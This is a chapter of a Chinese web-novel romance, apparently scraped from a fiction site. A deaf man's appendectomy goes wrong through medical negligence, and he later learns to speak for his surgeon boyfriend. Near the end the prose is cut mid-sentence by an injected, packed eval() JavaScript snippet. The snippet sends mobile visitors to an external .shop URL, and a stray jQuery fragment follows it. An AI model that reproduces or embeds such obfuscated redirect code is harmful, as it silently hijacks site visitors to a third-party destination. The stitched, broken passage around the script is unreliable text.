文趣网 > 都市小说 > 死前挂了前男友的号 > 9. 溺水的蝴蝶
    车辆消失在落叶金黄的十一月尽头。

    温斯语转过身,抬手将披肩遮在头顶上,挡住不停涌向他的寒风。他的一只手在大衣口袋里,握着刚刚贺知意用告别的话,同他交换的珍宝珠。

    葡萄味,温斯语从来没有吃过葡萄味。

    院子角落的宠物木屋,已经被修好了,亮着橘黄色的暖气灯光,一窝小兔子挤作一团。

    温斯语愣了愣,打开门,五只瘦弱不堪的小兔子在暖箱里颤着身体休息。前两天被他们接回家的那只也在,比它兄弟姐妹们大一圈,在另一端眯着眼睛吃草。

    怪不得鞋子上有泥点。

    温斯语垂下眼。

    傍晚,院子里来了人。

    堂哥阿凯拎着只卤鹅,“小语,这是刚卤好的鹅,你从小就喜欢吃大鹅腿,我挑了跑得最快的一只鹅,肯定好吃。”

    我喜欢吃贺知意做的烤鸡腿。

    温斯语伸手接过,“谢谢。”

    “诶。”

    堂哥刚转身,突然,瞪大眼睛看着刚刚说话的温斯语,“小语,你会说话了?”

    温斯语会说话了,但他小气,这么多年只跟贺知意说。

    他本来就是为了贺知意,才学说话的。

    他们刚在一起的第一个冬天,温斯语得了急性阑尾炎,刚开始以为是自己摔了跤,撞到肚子,但温斯语打开贺知意给他录的视频。

    “温斯语小朋友,你好。打开这个视频,肯定是因为你感到腹部不适,那么现在我们来确认是来自腹部九区的什么位置……”

    温斯语跟着贺知意,找到了右下腹阑尾。

    视频的结尾,贺知意穿上了衣服,说:“确认好疼痛位置和等级后,要做的第一件事是联系贺知意。”

    这是在他们还没有在一起时录的,不然,贺知意一定会加上[男朋友]三个字。

    温斯语没这么做,今天贺知意有台会诊主刀的颅底脑膜瘤手术,四点就出门了。

    他甚至没有去贺知意的医院,他给埃里克发了简讯,请他帮忙推荐医院,和准备就诊需要的东西。

    埃里克是第一年住院医生,基础扎实,反应快,手稳,贺知意挺看好他的,也是医院为数不多,知道他们恋爱关系的人。

    埃里克冒着被贺知意活埋的风险,替温斯语安排了医院。还有一封交给医生的医疗邮件,让不会讲话的温斯语省去许多自述麻烦。

    ——是贺知意为温斯语准备的。

    每三个月,贺知意就会为温斯语更新医疗信息,电子版和医疗卡都有,如果发生意外急救人员就能看见。

    埃里克这次更新了他的肺部情况,前段时间温斯语得了流感,肺部感染,没办法做全麻腹腔镜,得只能半麻传统切除。

    几个实习生第一眼就看见了他,比起病例,或许还有温斯语漂亮的缘故,抢着过来,将他扶上了担架床。

    温斯语身上叮铃哐当的,发卡上的铃铛,胸前挂着的手机和贺知意为他准备的请求帮助的卡片。但他是安静的,瓷白的小脸陷在病床枕头里,带点茫然地看着为他争论不休的实习生们。

    还好贺知意不在,否则肯定会发火地喊他们什么叉子。

    住院医生来接诊了他,夸他准备得很专业充分,开始做术前询问。

    “……近期在用什么药?有没有摔倒受过伤?”

    温斯语疼得咬住了下唇,鼻尖渗着汗珠,歪斜身体,发丝和枕头微微摩擦,蹭掉了早上贺知意为他绑头发的发带。

    “噢,这里。”医生弯腰将他的发带捡起,“漂亮的头发。放轻松,我现在就带你去手术室。护士,来这边。”

    终于进了手术室。

    温斯语不想听见自己被割开的声音,没戴助听器。阑尾手术很简单,半小时就好了。

    一墙之隔,贺知意也在这家医院做手术。

    切下肿瘤边缘组织标本正在送检,手术暂停,贺知意起身活动。

    埃里克找到贺知意,询问方才手术的细节。

    手术室的大家都得以稍稍休息,开始聊天,说医院来了一个漂亮的病人。

    “他真的非常漂亮。我从来没见过有人的头发那么柔顺,我甚至想去问他在哪家沙龙做的护理。”

    贺知意一心二用,在心里想,他的宝宝头发才是最柔顺的。

    “还有,他的眼睛是那么黑,又那么亮,就像是玻璃珠子,哦不,是钻石,不,星星。”

    贺知意同样不以为然,他的宝宝眼睛才是最亮的。

    “可惜,他不会说话,是个聋哑人,但是这好像让他更漂亮的,就像被摆放在博物馆里最名贵的雕塑。不过这次是躺在手术台上,肯定也很漂亮,噢等等,这更漂亮了。”

    埃里克猛地瞪大眼:damn!

    贺知意缓缓抬起头,口罩上方的眼睛定了两秒,开始慢条斯理地脱下带血的手套和手术衣,在众人惊讶中走出了手术室。

    手术台上,温斯语已经打了椎管内麻醉,清醒,但又晕乎乎的。

    恍惚间,他以为自己看见了贺知意。

    主刀医生正拿着手术刀,准备切下第一刀,质问大摇大摆走进手术室的人是谁。

    贺知意拿起温斯语的病例,快速地扫了一眼,“做腹部CT了吗?”,然后,反问他是谁。

    “转移性右下腹痛,麦氏点压痛,白细胞升高,不需要CT.我是这个医院的住院…”

    “不行,让你们普外科主任来做这个手术。”贺知意瞥向他,“把你的手术刀放下。”

    医生认出了贺知意,不敢惹他,但被赶出自己手术室这种事情,绝对不能发生。

    “贺医生,这个病人你认识?这是一台简单的阑尾手术,实习生都可以做。”

    “是,但不是这个世界上所有人,都有资格切开我的男朋友。”贺知意看向护士,“呼叫你们普外科主任,现在。”

    贺知意不再理会那些,趁着送检结果还没出来,来到手术台旁,弯腰,摘下口罩,握住了温斯语打着点滴的冰凉小手。

    “坏兔子。”

    贺知意很想再说温斯语两句,可是,温斯语好可怜地躺在台上,戴着手术帽和鼻氧管。见到贺知意,温斯语就傻乎乎地对他笑,然后想起自己是瞒着他来医院,又抿住嘴唇,嘟着脸不敢笑了。

    贺知意皱眉,松开一只手,抚摸上温斯语的脸,“没事,阑尾手术很简单,别害怕。”

    温斯语点点头。

    贺知意低头来亲他,不停用大拇指摩挲着温斯语的脸,亲他的嘴唇,亲他的脸颊,安慰他。

    医院的外科主任带着另一名主治医生来了,向贺知意解释:理解他的担心,但普外主任正在做手术,没办法赶来,将会由这位主治全程监管负责这台手术,让他放心。

    贺知意看其他人的脸色又恢复了欠揍的冷漠,想说什么,但温斯语捏了捏他的手指,摇头。

    贺知意没再发难。

    “宝宝,我在等病理结果,如果顺利,我会让埃里克缝合,然后来握着你的手,陪你做完手术。”贺知意亲了亲他的手背,“如果不顺利,等你在恢复室睡一觉,睁开眼就能见到我了,好吗?”

    温斯语乖巧点头,微微扬起下巴,让贺知意来亲他。

    病理结果出来了,阳性,贺知意需要继续回到手术台。临走前,他背过身不让温斯语看他的口型,好好对主刀医生「叮嘱」了两句。

    温斯语抱歉地对在场的医护们笑了笑。

    来监管手术的主治医生,让他别放在心上,“自己爱的人躺在手术台上,一定会担心,我们都能理解。尤其是贺医生,如果我在他这个年纪就能有这样的成就,相信我,我会比他更猖狂。放轻松。”

    手术开始,温斯语能感觉到腹部的拉拽,然后,渐渐地,他觉得身体好冷。

    头顶原本明亮的手术灯,忽然被医护遮盖,好多人围了过来。

    “糟糕!DIC!”

    “他为什么会出现解弥散性血管内凝血?血压掉到多少了?术前评估有没有说他有在吃抗凝药,或者摔倒了?”

    “纱布!我,我没有问到这个,当时…”

    “你没有问?!那你现在准备派谁去告诉贺知意,不知道为什么他男朋友出现了DIC,现在需要开腹找出血点!”

    他们都戴着口罩,温斯语不知道他们在说什么,只觉得自己好冷,意识模糊。

    眼角余光里,温斯语看见自己的鼻子流出了血,他抬手,自己的静脉输液管里也全是血。

    他看见医生摘了口罩,询问他近期有没有外伤史。

    有的,温斯语今天早上在家里摔倒,可是他说不出来,点头也来不及,温斯语昏了过去。

    贺知意那边等了一刻钟,没有听到这边派人来汇报温斯语的手术进度,让埃里克来询问。

    埃里克走进来,吓得在口罩后又骂了句what the hell.

    “埃里克,我们已经找到了出血点,但现在贺医生的手术还没结束,你不能告诉他这个情况。”

    埃里克当然知道,但他更知道等着一切结束后,他离死不远了。

    贺知意双眼没有离开手术显微镜的目镜,问:“怎么样?手术结束了吗,他是不是去恢复室了?”

    埃里克在重新戴手套,说对,温斯语已经在恢复室休息了。

    贺知意轻轻舒了口气。

    “那就好,虽然我不知道自己在担心什么,只是一个阑尾手术。或许是他没告诉我这件事。”

    “斯语,他应该是不想让你担心。”

    “我知道,他一直都是一个乖孩子,很懂事,也总是体谅我的工作,知道我今天有重要手术,不想让我担心。冲吸。但我不希望他养成这个坏习惯,他应该告诉我,我能同时处理好这两件事。”

    “是,他的确应该这么做。”埃里克顺着话说。

    贺知意沉吟片刻,“是因为我的反应太激烈了。就像刚刚冲进其他医生的手术室,是一件很不专业的事。冲吸。他一定会让我去道歉,我也应该道歉,但这些只能让现在的我去思考,在我看见他躺在手术台的那一刻,什么都顾不了。”

    贺知意在口罩下笑了笑,“感情真是一件奇妙的事,爱上温斯语之后,我才感受到这样的情绪,很特别。”

    埃里克脑中闪过刚刚看到,温斯语腹部被切开,血流不止,塞满了止血的纱布。

    贺知意:“埃里克,你让护士不准给他吃果冻,他这个礼拜的甜食已经超额了。不过,他刚做完手术…你让人去我的包里,给他拿珍宝珠,可以多吃一个。”

    手术室的氛围轻松不少。

    贺知意开始和他们讲温斯语为了骗糖果吃,都做过什么可爱的蠢事,然后在看过牙医后害怕了,每次刷完牙都会让他检查,乖得不得了。其他医护都在笑,除了埃里克。

    肿瘤成功全切。

    埃里克:“贺医生,我可以做剩下的缝合。”

    贺知意点头,起身,摘下手套,“我正准备让你接手,我要去恢复室看他。这是他第一次做手术,肯定吓坏了,明天我会请假在家陪他,你刚好去其他科室……”

    埃里克:“他还在手术。”

    贺知意摘口罩的动作顿住,眉骨下那双漆黑的眼睛逐渐凝固,浑身紧绷,死死盯着埃里克。

    埃里克:“他出现了DIC,现在正在进行紧急开腹探查,脾脏被膜下出血…”

    贺知意冲出手术室。

    手术室是静谧的蓝色,对贺知意而言是能让他平静,获得安宁的大海,从未想过某天会起这么大的风。

    温斯语是雪白的浪花,溺水的海鸟。

    温斯语躺在手术台上,侧着脸,闭着眼,唇齿微张,气管导管穿过他的口腔,进入他的气管,维持着他的呼吸。

    温斯语浑身是血,脸上,手背上,开膛破肚的内脏里……谁会这么欺负一只兔子。

    听不见,不会说话的兔子。

    手术台旁换上了普外科主任,为什么换人?是为了最后告诉病人家属,他们尽了最大的努力吗?

    仅存的理智,让贺知意转身走出手术室,沉默地坐到观摩室。

    他躬着腰,手臂撑在膝盖上,手里握着他的手术帽。浅蓝色的手术帽,温斯语说,等他能拥有自己的手术帽,就给他缝好多有小兔子的帽子。

    外科主任陪在贺知意身旁,对他承认在术前检查的疏忽,还有明确术中风险的不可预知性。

    贺知意在打了个电话后,未发一言。

    医院董事会的人也来了,开始用商人那一套向贺知意表达担心和抱歉。

    手术结束了,准备缝合。

    贺知意起身,一拳捶在对讲机按钮上,“把你手里的持针器放下,不准用你们的破烂缝线和技术在他身上留下任何伤疤。”

    贺知意把东海岸最好的整形医生叫来了,正在楼顶的停机坪。

    这属于医疗事故。

    术前评估应该询问温斯语的用药和外伤史,但在询问这一步时,温斯语缠头发的发带掉了。为了献殷勤,医生弯腰为他捡发带,忘记了这个问题,而是夸他的头发有多漂亮。

    温斯语不会说话,在手术中哪怕知道他们在问什么,也什么都回答不了。

    病房走廊外,站满了相关医生,董事会,行政人员和律师。

    “贺知意是会把这家医院告到破产,还是会在买下这家医院后,把所有参与这个病例的人,折磨得生不如死。猜一下?”

    “我不知道,但如果是我的爱人,因为医生的疏忽发生这样的事…你知道他们翻遍他所有内脏去找出血点,浪费的时间,让他失血过多,差点没办法维持循环。如果他们问了,就会在术前做CT,发现腹部的顿挫伤,根本就不会等到DIC爆发,才做紧急开腹探查。”

    病房里,温斯语醒了。

    贺知意握着他的手,亲吻他的脸,安抚他,“很痛,我知道,别怕,都过去了。”

    温斯语喝了水,戴上助听器,听着贺知意说他手术发生的事。贺知意勉强在他面前维持的镇定,在说到后面时,咬牙切齿,搭在床边的手紧握成拳。

    温斯语伸手,将贺知意的手拉过来,放在自己脸颊旁。

    贺知意触碰温斯语时,所有愤怒厌恶的负面情绪都会消失。像被妈妈安抚的哭闹孩子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971806|214675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。这次也不例外,贺知意胸膛的起伏不再激烈,靠过来,温柔地吻他。

    温斯语:每个人都会犯错,每个人都有被原谅的机会。

    温斯语仰起脸,亲了贺知意。

    温斯语:不生气,我不害怕。

    贺知意不知道这个世界上怎么会有温斯语这么善良的人,明明听不见,却总是在聆听他人的难处,换位思考,体谅和理解。这个世界真该庆幸拥有温斯语。

    事故按照医院规定处理,贺知意没有再额外动作。

    贺知意开始担心另一件事。

    “宝宝,你不会说话。”

    温斯语在吃喝药奖励的糖果,点头。

    贺知意:“你能说话,但是你不愿意说话。”

    温斯语也点了头。

    这件事他们之前就讨论过,温斯上过一次课,他发出来的声音像灶台烧火拉的风箱,很难听。贺知意知道,没有逼他。

    贺知意放下药膏,将温斯语轻轻抱进怀里,“那从今天开始,我们去上课,学说话。”

    温斯语捏着珍宝珠,眉心蹙得紧紧的,他真的不想说话。

    不说话,没人知道他是残疾人;说话,所有人都知道了。看他的眼神会充满怜悯,温斯语已经习惯了,但:贺知意的男朋友是残疾人。他不想贺知意也感受到这样的目光。

    为什么。他问贺知意。

    “我永远都能明白你在想说,但是我不能一直在你身边。”

    贺知意握住他的手,“宝宝,我很担心你,担心我不在你身边,就没人明白你在受伤,在忍受疼痛,我不想这样的事情再发生第二次。受伤了,需要帮助…我们要说出来,要除了我以外的其他人也能知道。”

    温斯语抽出手,糖果也不要了,丢掉,急切地打着手语:你不在我身边,你要去哪里。

    贺知意将他抱得更紧,“我哪里也不会去,永远都陪在你的身边,但会有像这次的事发生,明白吗?”

    温斯语眼睫闪动:就算我会说话,你也不会离开我。

    “我不会离开你。但我需要你会保护自己,会求救,就算你学会之后依旧不愿跟别的人说话也没关系。我只是真的很担心你,很爱你。”

    温斯语看着贺知意的眼睛,慢慢地,双手握成拳头,用力点头。

    学说话很难,非常难。

    温斯语的构音肌群,嘴唇,舌头,软腭等没有过精细动作的练习,舌尖点触找位置都做不到;声带更是没办法控制,发出来的声音忽大忽小,忽高忽低;不明白说话要与呼吸配合,该吐气的时候吸气,憋气,句子零散。

    很多,很多…很难,很难。

    温斯语每次上口肌课都会哭,舌头很累,颊肌很累,说得不好听,很伤心…温斯语坐在板凳上哭,泪眼涟涟,扭头去看门外的贺知意。

    贺知意之前在教室里旁听,因为温斯语哭得太厉害,他经常打断上课,把人接走。

    事后也知道自己不对,只好要求校长把他关在教室外边。

    教室隔音很好,但温斯语哭得太厉害了,擦过眼泪,湿漉漉的手紧张局促地捏在胸前,脸和脖子哭得潮红,身体在不停地发抖。温斯语发现贺知意不进来接他,急得坐在原地跺脚。

    “z…yi…”

    温斯语受不了压舌板,站起来,哭着朝门口跑,拍着被反锁的门,要贺知意带他走,不要上课了。

    贺知意最喜欢咬他嘴巴旁边的嘟嘟肉,如果练习太多次,就没这么软了!他宁愿回潞湖种地挖土,割猪草喂猪,也不想在波士顿上发音课。他要回去喂猪,贺知意,我要回去喂猪!

    事后反思,死不悔改。

    贺知意踹开门,把快哭晕过去的温斯语抱走了。

    后边的课,是谢菁过来陪温斯语上的,不准贺知意再跟课。还给温斯语报了发音课的夏令营,一个礼拜,离开贺知意一个礼拜,险些将贺知意逼疯。

    中途,他偷偷去看过温斯语。

    温斯语挺开心的,还跟营地里的同学,坐在树下玩牌,赢牌后很努力地笑,发出声音。

    贺知意气得血压都高了。

    成长是好事,但没有他在不行,和别人更不行,贺知意又准备把温斯语强行接走。但这次,温斯语拒绝了。

    温斯语:我很努力学习,你不要打扰我。

    贺知意气笑了。

    在他眼里,温斯语就像是见到满地萝卜秧的兔子,一头扎进去,将他抛诸脑后。

    可从夏令营回来后,温斯语会嗯嗯叫了。

    贺知意愣了好一会儿,换着角度和力度多试了几次,每次嗯嗯的声音还不一样。温斯语咬着指节,看着他,发出细微又迷人的声音。

    温斯语没戴助听器,自己都没意识到。贺知意听了好几天,心里舒服,浑身都是舒服,然后恶劣地给温斯语戴上,等待,凝视,当温斯语听见自己发出声音时害羞的脸。然后,让温斯语发出更多的嗯嗯声。

    “好可爱,我的小猪兔宝宝。”

    波士顿今年雪下得早。

    温斯语在医院楼下等贺知意,踮脚,将自己特意织的双人围巾,戴到贺知意的脖子上。贺知意搂着温斯语,像围巾上坠了个粉色挂件。

    他们停在初吻的豆梨树下,雪是黝黑枝丫上的梨花。

    温斯语有话跟贺知意说:“贺知意,窝,系,温希氲,窝,耐,泥……”

    好难,温斯语没说好,有些气馁。

    他皱眉,摆了摆戴着粉色毛绒手套的手,重新说:“贺知意,窝…”

    贺知意抱住他。

    那是温斯语第一次说话。

    谢菁告诉他,学会说话就可以对爱的人说「我爱你」。

    温斯语为了对贺知意说「我爱你」,练习了好久,哭了很多次,但他全都没有放弃,因为他想对贺知意说「我爱你」,因为他真的爱贺知意。

    贺知意也是。

    贺知意在初雪里的豆梨树下,用力地抱住他,“温斯语,谢谢你,我也爱你,更爱你。”

    温斯语每次跟贺知意说话,都是以喊他名字开头,像游戏里的小人的互动交互F键,替换成了「贺知意」,学会说话后,也是温斯语最熟练,最喜欢的三个字。

    贺知意也学他,喊他温斯语。

    温斯语点头说可以,但还是要叫他宝宝。贺知意偏头来亲他,说好的,宝宝。

    贺知意很久没这么叫他了。

    哪怕是在梦里,贺知意也只叫他「温斯语」,问他是不是真的要分手,问他为什么,问他可不可以不分手。

    温斯语睁开眼。

    他掀开被子,冲进卫生间抱着马桶呕吐。他昨晚戴着助听器睡的,听见了自己的呕吐声,刚想捂住嘴,想起贺知意已经被他赶走了。温斯语摘掉助听器,吐得流出眼泪,身体不停发抖。

    洗完澡,温斯语从枕头下摸出那根葡萄味的珍宝珠,放进嘴里,抿化。

    然后,温斯语想起来他吃过这个口味。

    也是贺知意给他买的,说草莓牛奶没了,明天再给他买。温斯语没放在心上,但第二天贺知意真的给他买了。

    这时,门外响起敲门声。